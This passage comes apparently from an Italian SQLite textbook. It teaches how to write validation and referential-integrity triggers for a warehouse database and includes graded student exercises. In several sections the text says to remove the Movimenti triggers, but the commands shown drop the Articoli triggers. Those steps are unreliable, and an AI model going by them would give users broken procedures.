-- Data: data
-- File: grilletti-causali.sql

CREATE TRIGGER Causali_ins
               BEFORE INSERT ON Causali
               FOR EACH ROW
               BEGIN
                    SELECT CASE
                    WHEN (NEW.Variazione > 1)
                    THEN
                        RAISE (ABORT, 'L''attributo "Variazione" non può essere superiore a 1!')
                    WHEN (NEW.Variazione < -1)
                    THEN
                        RAISE (ABORT, 'L''attributo "Variazione" non può essere inferiore a -1!')
                    WHEN (NEW.Variazione = 0)
```

```
                    THEN
                        RAISE (ABORT, 'L''attributo "Variazione" non può essere pari a 0!')
                    END;
                END;

CREATE TRIGGER Causali_upd
               BEFORE UPDATE ON Causali
               FOR EACH ROW
               BEGIN
                    SELECT CASE
                    WHEN (NEW.Variazione > 1)
                    THEN
                        RAISE (ABORT, 'L''attributo "Variazione" non può essere superiore a 1!')
                    WHEN (NEW.Variazione < -1)
                    THEN
                        RAISE (ABORT, 'L''attributo "Variazione" non può essere inferiore a -1!')
                    WHEN (NEW.Variazione = 0)
                    THEN
                        RAISE (ABORT, 'L''attributo "Variazione" non può essere pari a 0!')
                    END;
                END;
```

In questo modo, si creano i grilletti '**`Causali_ins`**' e '**`Causali_upd`**', con lo scopo di avvisare in caso di inserimento di un valore impossibile nell'attributo '**`Variazione`**' della relazione '**`Causali`**' (sia nel caso di inserimento di una tupla nuova, sia quando si cerca di modificare quell'attributo in una tupla già esistente). Si osservi che, all'interno dei messaggi di errore, l'apostrofo è stato raddoppiato, per evitare che possa essere interpretato come la conclusione della stringa.

Si controlli di avere scritto il file '`grilletti-causali.sql`' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

`$` **`sqlite3 mag.db < grilletti-causali.sql`** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione dei grilletti dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si devono prima cancellare i grilletti, quindi si può ritentare l'inserimento del comando (ammesso che il file '`grilletti-causali.sql`' sia stato corretto di conseguenza). I passaggi per eliminare i grilletti, in modo interattivo, sono quelli seguenti:

`$` **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

`sqlite>` **`DROP TRIGGER Causali_ins;`** [*Invio*]

`sqlite>` **`DROP TRIGGER Causali_upd;`** [*Invio*]

`sqlite>` **`.quit`** [*Invio*]

Quando si ritiene di avere creato correttamente i grilletti, si può tentare l'inserimento o la modifica di tuple con valori errati nella relazione '**`Causali`**', per verificare se queste vengono

rifiutate come dovrebbero. Si proceda con i passaggi seguenti, utilizzando '**sqlite3**' in modo interattivo:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **INSERT INTO Causali VALUES (100, 'Doppio carico', +2);** [*Invio*]

```
INSERT INTO Causali VALUES (100, 'Doppio carico', +2);
SQL error: L'attributo "Variazione" non può essere superiore a 1!
```

sqlite> **INSERT INTO Causali VALUES (101, 'Doppio scarico', -2);** [*Invio*]

```
INSERT INTO Causali VALUES (101, 'Doppio scarico', -2);
SQL error: L'attributo "Variazione" non può essere inferiore a -1!
```

sqlite> **INSERT INTO Causali VALUES (102, 'Movimento nullo', 0);** [*Invio*]

```
INSERT INTO Causali VALUES (102, 'Movimento nullo', 0);
SQL error: L'attributo "Variazione" non può essere pari a 0!
```

sqlite> **UPDATE Causali SET Variazione = +2 WHERE Causale = 1;** [*Invio*]

```
UPDATE Causali SET Variazione = +2 WHERE Causale = 1;
SQL error: L'attributo "Variazione" non può essere superiore a 1!
```

sqlite> **UPDATE Causali SET Variazione = -2 WHERE Causale = 2;** [*Invio*]

```
UPDATE Causali SET Variazione = -2 WHERE Causale = 2;
SQL error: L'attributo "Variazione" non può essere inferiore a -1!
```

sqlite> **UPDATE Causali SET Variazione = 0 WHERE Causale = 3;** [*Invio*]

```
UPDATE Causali SET Variazione = 0 WHERE Causale = 3;
SQL error: L'attributo "Variazione" non può essere pari a 0!
```

sqlite> **.quit** [*Invio*]

90.10.2 Creazione del grilletto «Articoli_ins» e «Articoli_upd»

Con l'ausilio di un programma per la scrittura e modifica di file di testo puro, si crei il file 'grilletti-articoli.sql', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Creazione dei grilletti "Articoli_ins" e "Articoli_upd"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: grilletti-articoli.sql
```

```
CREATE TRIGGER Articoli_ins
               BEFORE INSERT ON Articoli
               FOR EACH ROW
               BEGIN
                    SELECT CASE
                    WHEN (NEW.Listino <= 0)
                    THEN
                        RAISE (ABORT, 'Il prezzo non può essere inferiore o uguale a zero!')
                    WHEN (NEW.ScortaMin < 0)
                    THEN
                        RAISE (ABORT, 'La scorta minima non può essere inferiore a zero!')
                    END;
                END;

CREATE TRIGGER Articoli_upd
               BEFORE UPDATE ON Articoli
               FOR EACH ROW
               BEGIN
                    SELECT CASE
                    WHEN (NEW.Listino <= 0)
                    THEN
                        RAISE (ABORT, 'Il prezzo non può essere inferiore o uguale a zero!')
                    WHEN (NEW.ScortaMin < 0)
                    THEN
                        RAISE (ABORT, 'La scorta minima non può essere inferiore a zero!')
                    END;
                END;
```

In questo modo, si creano i grilletti '**`Articoli_ins`**' e '**`Articoli_upd`**', con lo scopo di impedire l'inserimento di valori impossibili per il prezzo di listino e per la scorta minima (sia con le istruzioni '**`INSERT`**', sia con '**`UPDATE`**').

Si controlli di avere scritto il file '`grilletti-articoli.sql`' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con il nome previsto, quindi si proceda con il comando seguente:

`$` **`sqlite3 mag.db < grilletti-articoli.sql`** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione dei grilletti dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si devono prima cancellare i grilletti, quindi si può ritentare l'inserimento del comando (ammesso che il file '`grilletti-articoli.sql`' sia stato corretto di conseguenza). I passaggi per eliminare i grilletti, in modo interattivo, sono quelli seguenti:

`$` **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

`sqlite>` **`DROP TRIGGER Articoli_ins;`** [*Invio*]

`sqlite>` **`DROP TRIGGER Articoli_upd;`** [*Invio*]

`sqlite>` **`.quit`** [*Invio*]

Quando si ritiene di avere creato correttamente i grilletti in questione, si può tentare l'inserimento di tuple con valori errati nella relazione '**`Articoli`**', per verificare se queste vengono rifiutate come dovrebbero. Si proceda con i passaggi seguenti, utilizzando '**`sqlite3`**' in modo interattivo:

```
$ sqlite3 mag.db [Invio]

  SQLite version …
  Enter ".help" for instructions

sqlite> INSERT INTO Articoli [Invio]

   ...>      VALUES (660, 'DVD gratis','pz', 0, 200); [Invio]

  INSERT INTO Articoli VALUES (660, 'DVD gratis','pz', 0, 200);
  SQL error: Il prezzo non può essere inferiore o uguale a zero!

sqlite> INSERT INTO Articoli [Invio]

   ...>      VALUES (661, 'DVD ti paghiamo noi','pz', -2.00, 200); [Invio]

  INSERT INTO Articoli VALUES (661, 'DVD ti paghiamo noi','pz', -2.00, 200);
  SQL error: Il prezzo non può essere inferiore o uguale a zero!

sqlite> INSERT INTO Articoli [Invio]

   ...>      VALUES (662, 'DVD virtuale','pz', 2.00, -200); [Invio]

  INSERT INTO Articoli VALUES (662, 'DVD virtuale','pz', 2.00, -200);
  SQL error: La scorta minima non può essere inferiore a zero!

sqlite> UPDATE Articoli SET Listino = 0 WHERE Articolo = 1; [Invio]

  UPDATE Articoli SET Listino = 0 WHERE Articolo = 1;
  SQL error: Il prezzo non può essere inferiore o uguale a zero!

sqlite> UPDATE Articoli SET Listino = -2.00 WHERE Articolo = 2; [Invio]

  UPDATE Articoli SET Listino = -2.00 WHERE Articolo = 2;
  SQL error: Il prezzo non può essere inferiore o uguale a zero!

sqlite> UPDATE Articoli SET ScortaMin = -200 WHERE Articolo = 101; [Invio]

  UPDATE Articoli SET ScortaMin = -200 WHERE Articolo = 101;
  SQL error: La scorta minima non può essere inferiore a zero!

sqlite> .quit [Invio]
```

90.10.3 Verifica sulla creazione dei grilletti «Movimenti_ins» e «Movimenti_upd»

Si prepari il file '`grilletti-movimenti.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole impedire l'inserimento nella relazione '**`Movimenti`**' di quantità inferiori o uguali a zero e di valori inferiori a zero.

Figura 90.123. Scheletro del file '`grilletto-movimenti.sql`', da completare.

```
-- Creazione dei grilletti "Movimenti_ins" e "Movimenti_upd"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: grilletti-movimenti.sql

CREATE TRIGGER Movimenti_ins
               BEFORE INSERT …
               FOR EACH ROW
               BEGIN
                    …
                    …
                    …
               END;

CREATE TRIGGER Movimenti_upd
               BEFORE UPDATE …
               FOR EACH ROW
               BEGIN
                    …
                    …
                    …
               END;
```

Una volta completato e salvato il file '`grilletti-movimenti`', se ne controlli il funzionamento con la base di dati:

$ **`sqlite3 mag.db < grilletti-movimenti.sql`** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione dei grilletti dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si devono prima cancellare i grilletti, quindi si può ritentare l'inserimento del comando (ammesso che il file '`grilletti-movimenti.sql`' sia stato corretto di conseguenza).

Si consegni per la valutazione la stampa del file '`grilletti-movimenti.sql`'.

90.10.4 Conclusione

Prima di passare alla sezione successiva, si deve riprendere il file '`magazzino.sql`' e vi si devono aggiungere le istruzioni per la creazione dei grilletti '**`Causali_ins`**', '**`Causali_upd`**', '**`Articoli_ins`**', '**`Articoli_upd`**', '**`Movimenti_ins`**' e '**`Movimenti_upd`**', come contenuto nei file '`grilletti-causali.sql`', '`grilletti-articoli.sql`' e '`grilletti-movimenti.sql`'.

Si osservi che la dichiarazione dei grilletti va collocata immediatamente dopo la creazione della relazione a cui fanno riferimento e immediatamente prima delle istruzioni che inseriscono delle tuple.

Una volta aggiornato il file '`magazzino.sql`' come descritto, si deve cancellare il file '`mag.db`' e ricreare a partire dalle istruzioni contenute nel file '`magazzino.sql`':

`$` **`sqlite3 mag.db < magazzino.sql`** [*Invio*]

Se vengono segnalati degli errori, occorre correggere il file '`magazzino.sql`', cancellare nuovamente il file '`mag.db`', quindi si deve ripetere l'operazione. La base di dati contenuta nel file '`mag.db`', viene usata nella sezione successiva e non si può proseguire se non si riesce a ricrearla correttamente.

90.11 Grilletti per il controllo della validità esterna

Nel momento in cui si inseriscono, modificano o eliminano dei valori per una certa relazione, può essere importante fare in modo di rifiutare le azioni che non sono valide, in base al contenuto di altre relazioni. Di solito, questo tipo di controllo può essere dichiarato in fase di creazione della relazione; tuttavia, un DBMS limitato potrebbe ignorare tali dichiarazioni.

Qui si mostra l'uso dei grilletti per imporre dei vincoli di validità dipendenti dal contenuto di altre relazioni.

90.11.1 Controllo del codice articolo tra la relazione «Movimenti» e la relazione «Articoli»

In precedenza sono stati creati due grilletti, denominati '**`Movimenti_ins`**' e '**`Movimenti_upd`**', con lo scopo di impedire l'inserimento (o la modifica) di valori impossibili per la quantità e per il valore del movimento. Questi due grilletti vengono ripresi ed estesi, allo scopo di impedire che possano essere inseriti movimenti riferiti ad articoli inesistenti, in quanto non ancora dichiarati nella relazione '**`Articoli`**'; inoltre ne viene aggiunto un altro, per impedire che un articolo possa essere eliminato dalla relazione '**`Articoli`**', se questo risulta essere ancora utilizzato nella relazione '**`Movimenti`**'.

Pertanto, si crei il file '`grilletti-movimenti-articoli.sql`', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Creazione dei grilletti "Movimenti_ins", "Movimenti_upd" e "Articoli_del"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: grilletti-movimenti-articoli.sql
```

```
CREATE TRIGGER Movimenti_ins
       BEFORE INSERT ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN (NEW.Quantita <= 0)
            THEN
                RAISE (ABORT, 'La quantità non può essere inferiore o uguale a zero!')
            WHEN (NEW.Valore < 0)
            THEN
                RAISE (ABORT, 'Il valore caricato non può essere inferiore a zero!')
            WHEN ((SELECT Articolo FROM Articoli WHERE Articolo = NEW.Articolo) IS NULL)
            THEN
                RAISE (ABORT, 'Il codice articolo non è presente nella relazione Articoli!')
            END;
       END;

CREATE TRIGGER Movimenti_upd
       BEFORE UPDATE ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN (NEW.Quantita <= 0)
            THEN
                RAISE (ABORT, 'La quantità non può essere inferiore o uguale a zero!')
            WHEN (NEW.Valore < 0)
            THEN
                RAISE (ABORT, 'Il valore caricato non può essere inferiore a zero!')
            WHEN ((SELECT Articolo FROM Articoli WHERE Articolo = NEW.Articolo) IS NULL)
            THEN
                RAISE (ABORT, 'Il codice articolo non è presente nella relazione Articoli!')
            END;
       END;

CREATE TRIGGER Articoli_del
       BEFORE DELETE ON Articoli
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN ((SELECT Articolo FROM Movimenti WHERE Articolo = OLD.Articolo) IS NOT NULL)
            THEN
                RAISE (ABORT, 'L''articolo non può essere rimosso, perché è utilizzato nella relazione Movimenti!')
            END;
       END;
```

Una volta completato e salvato il file '`grilletti-movimenti-articoli`', se ne deve controllare il funzionamento con la base di dati, ma prima vanno rimossi i grilletti '**`Movimenti_ins`**' e '**`Movimenti_upd`**', che qui vengono ricreati. Basta eseguire i passaggi seguenti:

`$` **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

`sqlite>` **`DROP TRIGGER Articoli_ins;`** [*Invio*]

`sqlite>` **`DROP TRIGGER Articoli_upd;`** [*Invio*]

`sqlite>` **`.quit`** [*Invio*]

Quando i grilletti preesistenti sono stati rimossi, si può eseguire il file 'grilletti-movimenti-articoli.sql' nella base di dati:

$ **sqlite3 mag.db < grilletti-movimenti-articoli.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione dei grilletti dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si devono prima cancellare i grilletti (questa volta sono tre: '**Movimenti_ins**', '**Movimenti_upd**' e '**Articoli_del**'), quindi si può ritentare l'inserimento del comando (ammesso che il file 'grilletti-movimenti-articoli.sql' sia stato corretto di conseguenza).

Per verificare che i vincoli dichiarati funzionino come previsto, si può provare a inserire un movimento che fa riferimento a un articolo inesistente; quindi, si può provare a cancellare un articolo che risulta invece movimentato:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **INSERT INTO Movimenti** [*Invio*]

...> **VALUES (11, 777, 2, '2010-01-25', 1, NULL, ↩**
↪1000, 500.00); [*Invio*]

```
INSERT INTO Movimenti VALUES (11, 777, 2, '2010-01-25', 1, NULL, 1000, 500.00);
SQL error: Il codice articolo non è presente nella relazione Articoli!
```

sqlite> **UPDATE Movimenti SET Articolo = 777 WHERE Movimento = 2;** [*Invio*]

```
UPDATE Movimenti SET Articolo = 777 WHERE Movimento = 2;
SQL error: Il codice articolo non è presente nella relazione Articoli!
```

sqlite> **DELETE FROM Articoli WHERE Articolo = 2;** [*Invio*]

```
DELETE FROM Articoli WHERE Articolo = 2;
SQL error: L'articolo non può essere rimosso, perché è utilizzato nella relazione Movimenti!
```

sqlite> **.quit** [*Invio*]

90.11.2 Controllo del codice cliente tra la relazione «Movimenti» e la relazione «Clienti»

Vengono qui ripresi i grilletti '**Movimenti_ins**' e '**Movimenti_upd**', aggiungendo il grilletto '**Clienti_del**', con lo scopo di impedire che possano essere inseriti movimenti riferiti a clienti inesistenti (in quanto non ancora dichiarati nella relazione '**Clienti**') e di impedire la cancellazione di un cliente quando questo risulta essere ancora utilizzato nella relazione '**Movimenti**'.

Pertanto, si crei il file 'grilletti-movimenti-clienti.sql', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Creazione dei grilletti "Movimenti_ins", "Movimenti_upd" e "Clienti_del"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: grilletti-movimenti-clienti.sql

CREATE TRIGGER Movimenti_ins
       BEFORE INSERT ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN (NEW.Quantita <= 0)
            THEN
                RAISE (ABORT, 'La quantità non può essere inferiore o uguale a zero!')
            WHEN (NEW.Valore < 0)
            THEN
                RAISE (ABORT, 'Il valore caricato non può essere inferiore a zero!')
            WHEN ((SELECT Articolo FROM Articoli WHERE Articolo = NEW.Articolo) IS NULL)
            THEN
                RAISE (ABORT, 'Il codice articolo non è presente nella relazione Articoli!')
            WHEN ((NEW.Cliente IS NOT NULL)
                  AND ((SELECT Cliente FROM Clienti WHERE Cliente = NEW.Cliente) IS NULL))
            THEN
                RAISE (ABORT, 'Il codice cliente non è presente nella relazione Clienti!')
            END;
       END;

CREATE TRIGGER Movimenti_upd
       BEFORE UPDATE ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN (NEW.Quantita <= 0)
            THEN
                RAISE (ABORT, 'La quantità non può essere inferiore o uguale a zero!')
            WHEN (NEW.Valore < 0)
            THEN
                RAISE (ABORT, 'Il valore caricato non può essere inferiore a zero!')
            WHEN ((SELECT Articolo FROM Articoli WHERE Articolo = NEW.Articolo) IS NULL)
            THEN
                RAISE (ABORT, 'Il codice articolo non è presente nella relazione Articoli!')
            WHEN ((NEW.Cliente IS NOT NULL)
                  AND ((SELECT Cliente FROM Clienti WHERE Cliente = NEW.Cliente) IS NULL))
            THEN
                RAISE (ABORT, 'Il codice cliente non è presente nella relazione Clienti!')
            END;
       END;

CREATE TRIGGER Clienti_del
       BEFORE DELETE ON Clienti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN ((SELECT Cliente FROM Movimenti WHERE Cliente = OLD.Cliente) IS NOT NULL)
            THEN
                RAISE (ABORT, 'Il cliente non può essere rimosso, perché è utilizzato nella relazione Movimenti!')
            END;
       END;
```

A differenza dell'esempio che appare nella sezione precedente, l'attributo '**`Cliente`**' della relazione '**`Movimenti`**' può contenere il valore nullo ('**`NULL`**'). Per questa ragione, il grilletto verifica prima che il valore inserito non sia nullo, poi che il codice cliente esista nella relazione '**`Clienti`**'.

Una volta completato e salvato il file '`grilletti-movimenti-clienti`', se ne deve controllare il funzionamento con la base di dati, ma prima vanno rimossi i grilletti '**`Movimenti_ins`**'

e '**Movimenti_upd**', che qui vengono ricreati. Basta eseguire i passaggi seguenti:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **DROP TRIGGER Articoli_ins;** [*Invio*]

sqlite> **DROP TRIGGER Articoli_upd;** [*Invio*]

sqlite> **.quit** [*Invio*]

Quando i grilletti preesistenti, associati alla relazione '**Movimenti**', sono stati rimossi, si può eseguire il file '`grilletti-movimenti-clienti.sql`' nella base di dati:

$ **sqlite3 mag.db < grilletti-movimenti-clienti.sql** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione dei grilletti dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si devono prima cancellare i grilletti (questa volta sono tre: '**Movimenti_ins**', '**Movimenti_upd**' e '**Clienti_del**'), quindi si può ritentare l'inserimento del comando (ammesso che il file '`grilletti-movimenti-clienti.sql`' sia stato corretto di conseguenza).

Per verificare che i vincoli dichiarati funzionino come previsto, si può provare a inserire un movimento che fa riferimento a un cliente inesistente; quindi, si può provare a cancellare un articolo che risulta invece movimentato:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **INSERT INTO Movimenti VALUES** [*Invio*]

...> **(11, 101, 2, '2010-01-25', 999, NULL, 1000, 500.00);** [*Invio*]

```
INSERT INTO Movimenti VALUES (11, 101, 2, '2010-01-25', 999, NULL, 1000, 500.00);
SQL error: Il codice cliente non è presente nella relazione Clienti!
```

sqlite> **UPDATE Movimenti SET Cliente = 999 WHERE Movimento = 2;** [*Invio*]

```
UPDATE Movimenti SET Cliente = 999 WHERE Movimento = 2;
SQL error: Il codice cliente non è presente nella relazione Clienti!
```

sqlite> **DELETE FROM Clienti WHERE Cliente = 2;** [*Invio*]

```
DELETE FROM Clienti WHERE Cliente = 2;
SQL error: Il cliente non può essere rimosso, perché è utilizzato nella relazione Movimenti!
```

sqlite> **.quit** [*Invio*]

90.11.3 Verifica sulla creazione dei grilletti «Movimenti_ins», «Movimenti_upd» e «Causali_del»

Si prepari il file '`grilletti-movimenti-causali.sql`', modificando il file '`grilletti-movimenti-clienti.sql`', in modo da riutilizzare quanto già scritto nei grilletti '**`Movimenti_ins`**' e '**`Movimenti_upd`**'. Si segua lo scheletro seguente, tenendo conto che si vuole impedire l'inserimento nella relazione '**`Movimenti`**' di causali inesistenti e che si vuole impedire la cancellazione di una causale, dalla relazione '**`Causali`**', se questa risulta utilizzata nella relazione '**`Movimenti`**' (in pratica, per questa funzione ulteriore, si deve aggiungere il grilletto '**`Causali_del`**').

Figura 90.136. Scheletro del file '`grilletto-movimenti-causali.sql`', da completare.

```
-- Creazione dei grilletti "Movimenti_ins", "Movimenti_upd" e "Causali_del"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: grilletti-movimenti-causali.sql

CREATE TRIGGER Movimenti_ins
       BEFORE INSERT ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN (NEW.Quantita <= 0)
            THEN
                RAISE (ABORT, 'La quantità non può essere inferiore o uguale a zero!')
            WHEN (NEW.Valore < 0)
            THEN
                RAISE (ABORT, 'Il valore caricato non può essere inferiore a zero!')
            WHEN ((SELECT Articolo FROM Articoli WHERE Articolo = NEW.Articolo) IS NULL)
            THEN
                RAISE (ABORT, 'Il codice articolo non è presente nella relazione Articoli!')
            WHEN ((NEW.Cliente IS NOT NULL)
                  AND ((SELECT Cliente FROM Clienti WHERE Cliente = NEW.Cliente) IS NULL))
            THEN
                RAISE (ABORT, 'Il codice cliente non è presente nella relazione Clienti!')
            WHEN …
            THEN
                …
            END;
       END;

CREATE TRIGGER Movimenti_upd
       BEFORE UPDATE ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN (NEW.Quantita <= 0)
            THEN
                RAISE (ABORT, 'La quantità non può essere inferiore o uguale a zero!')
            WHEN (NEW.Valore < 0)
            THEN
                RAISE (ABORT, 'Il valore caricato non può essere inferiore a zero!')
            WHEN ((SELECT Articolo FROM Articoli WHERE Articolo = NEW.Articolo) IS NULL)
            THEN
                RAISE (ABORT, 'Il codice articolo non è presente nella relazione Articoli!')
            WHEN ((NEW.Cliente IS NOT NULL)
```

```
                AND ((SELECT Cliente FROM Clienti WHERE Cliente = NEW.Cliente) IS NULL))
            THEN
                RAISE (ABORT, 'Il codice cliente non è presente nella relazione Clienti!')
            WHEN …
            THEN
                …
            END;
        END;

CREATE TRIGGER Causali_del
        BEFORE DELETE ON Causali
        FOR EACH ROW
        BEGIN
            SELECT CASE
            WHEN …
            THEN
                …
            END;
        END;
```

Una volta completato e salvato il file '`grilletti-movimenti-causali`', se ne deve controllare il funzionamento con la base di dati, ma prima vanno rimossi i grilletti '**`Movimenti_ins`**' e '**`Movimenti_upd`**', che qui vengono ricreati. Basta eseguire i passaggi seguenti:

$ **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **`DROP TRIGGER Articoli_ins;`** [*Invio*]

sqlite> **`DROP TRIGGER Articoli_upd;`** [*Invio*]

sqlite> **`.quit`** [*Invio*]

Quando i grilletti preesistenti, associati alla relazione '**`Movimenti`**', sono stati rimossi, si può eseguire il file '`grilletti-movimenti-causali.sql`' nella base di dati:

$ **`sqlite3 mag.db < grilletti-movimenti-causali.sql`** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione dei grilletti dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si devono prima cancellare i grilletti (tutti), quindi si può ritentare l'inserimento del comando (ammesso che il file '`grilletti-movimenti-causali.sql`' sia stato corretto di conseguenza).

Si consegni per la valutazione la stampa del file '`grilletti-movimenti-causali.sql`'.

90.11.4 Verifica sulla creazione dei grilletti «Movimenti_ins», «Movimenti_upd» e «Fornitori_del»

Si prepari il file 'grilletti-movimenti-fornitori.sql', modificando il file 'grilletti-movimenti-causali.sql', in modo da riutilizzare quanto già scritto nei grilletti '**Movimenti_ins**' e '**Movimenti_upd**'. Si segua lo scheletro seguente, tenendo conto che si vuole impedire l'inserimento nella relazione '**Movimenti**' di fornitori inesistenti e che si vuole impedire la cancellazione di un fornitore, dalla relazione '**Fornitori**', se questo risulta utilizzato nella relazione '**Movimenti**' (in pratica, per questa funzione ulteriore, si deve aggiungere il grilletto '**Fornitori_del**').

Si osservi che nella relazione '**Movimenti**', l'attributo '**Fornitore**' può avere un valore nullo.

Figura 90.138. Scheletro del file 'grilletto-movimenti-fornitori.sql', da completare.

```
-- Creazione dei grilletti "Movimenti_ins", "Movimenti_upd" e "Fornitori_del"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: grilletti-movimenti-fornitori.sql

CREATE TRIGGER Movimenti_ins
       BEFORE INSERT ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN (NEW.Quantita <= 0)
            THEN
                RAISE (ABORT, 'La quantità non può essere inferiore o uguale a zero!')
            WHEN (NEW.Valore < 0)
            THEN
                RAISE (ABORT, 'Il valore caricato non può essere inferiore a zero!')
            WHEN ((SELECT Articolo FROM Articoli WHERE Articolo = NEW.Articolo) IS NULL)
            THEN
                RAISE (ABORT, 'Il codice articolo non è presente nella relazione Articoli!')
            WHEN ((NEW.Cliente IS NOT NULL)
                  AND ((SELECT Cliente FROM Clienti WHERE Cliente = NEW.Cliente) IS NULL))
            THEN
                RAISE (ABORT, 'Il codice cliente non è presente nella relazione Clienti!')
            WHEN …
            THEN
                …
            WHEN …
                  AND …
            THEN
                …
            END;
       END;

CREATE TRIGGER Movimenti_upd
       BEFORE UPDATE ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN (NEW.Quantita <= 0)
            THEN
                RAISE (ABORT, 'La quantità non può essere inferiore o uguale a zero!')
```

```
            WHEN (NEW.Valore < 0)
            THEN
                RAISE (ABORT, 'Il valore caricato non può essere inferiore a zero!')
            WHEN ((SELECT Articolo FROM Articoli WHERE Articolo = NEW.Articolo) IS NULL)
            THEN
                RAISE (ABORT, 'Il codice articolo non è presente nella relazione Articoli!')
            WHEN ((NEW.Cliente IS NOT NULL)
                  AND ((SELECT Cliente FROM Clienti WHERE Cliente = NEW.Cliente) IS NULL))
            THEN
                RAISE (ABORT, 'Il codice cliente non è presente nella relazione Clienti!')
            WHEN …
            THEN
                …
            WHEN …
                  AND …
            THEN
                …
            END;
       END;

CREATE TRIGGER Fornitori_del
       BEFORE DELETE ON Fornitori
       FOR EACH ROW
       BEGIN
            SELECT CASE
            WHEN …
            THEN
                …
            END;
       END;
```

Una volta completato e salvato il file '`grilletti-movimenti-fornitori`', se ne deve controllare il funzionamento con la base di dati, ma prima vanno rimossi i grilletti '**`Movimenti_ins`**' e '**`Movimenti_upd`**', che qui vengono ricreati. Basta eseguire i passaggi seguenti:

`$` **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

`sqlite>` **`DROP TRIGGER Articoli_ins;`** [*Invio*]

`sqlite>` **`DROP TRIGGER Articoli_upd;`** [*Invio*]

`sqlite>` **`.quit`** [*Invio*]

Quando i grilletti preesistenti, associati alla relazione '**`Movimenti`**', sono stati rimossi, si può eseguire il file '`grilletti-movimenti-fornitori.sql`' nella base di dati:

`$` **`sqlite3 mag.db < grilletti-movimenti-fornitori.sql`** [*Invio*]

Se non si ottiene alcun messaggio da parte del programma, la creazione dei grilletti dovrebbe essere avvenuta con successo, altrimenti, è stato commesso un errore. Per rimediare all'errore, si devono prima cancellare i grilletti (tutti), quindi si può ritentare l'inserimento del co-

mando (ammesso che il file 'grilletti-movimenti-fornitori.sql' sia stato corretto di conseguenza).

Si consegni per la valutazione la stampa del file 'grilletti-movimenti-fornitori.sql'.

90.11.5 Conclusione

Prima di passare alla sezione successiva, si deve riprendere il file 'magazzino.sql' e vi si devono sostituire le istruzioni per la creazione dei grilletti '**Movimenti_ins**' e '**Movimenti_upd**', come contenuto nel file 'grilletti-movimenti-fornitori.sql'; inoltre vanno aggiunti i grilletti '**Articoli_del**', '**Causali_del**', '**Clienti_del**' e '**Fornitori_del**', come sono stati realizzati in questa sezione.

Si osservi che la dichiarazione dei grilletti va collocata dopo la creazione della relazione a cui fanno riferimento e prima delle istruzioni che inseriscono delle tuple nella stessa relazione.

Una volta aggiornato il file 'magazzino.sql' come descritto, si deve cancellare il file 'mag.db' e ricreare a partire dalle istruzioni contenute nel file 'magazzino.sql':

$ **sqlite3 mag.db < magazzino.sql** [*Invio*]

Se vengono segnalati degli errori, occorre correggere il file 'magazzino.sql', cancellare nuovamente il file 'mag.db', quindi si deve ripetere l'operazione. La base di dati contenuta nel file 'mag.db', viene usata ancora e non si può proseguire se non si riesce a ricrearla correttamente.

90.12 Selezione di attributi virtuali, ottenuti da un'espressione

Il linguaggio SQL consente di costruire delle espressioni elementari, attraverso operatori matematici e funzioni comuni; l'interrogazione di una relazione può essere realizzata anche attraverso l'uso di espressioni.

Tabella 90.140. Operatori aritmetici comuni.

Operatore e operandi	Descrizione
-*op*	Inverte il segno dell'operando.
op1 + *op2*	Somma i due operandi.
op1 - *op2*	Sottrae dal primo il secondo operando.
op1 * *op2*	Moltiplica i due operandi.
op1 / *op2*	Divide il primo operando per il secondo.
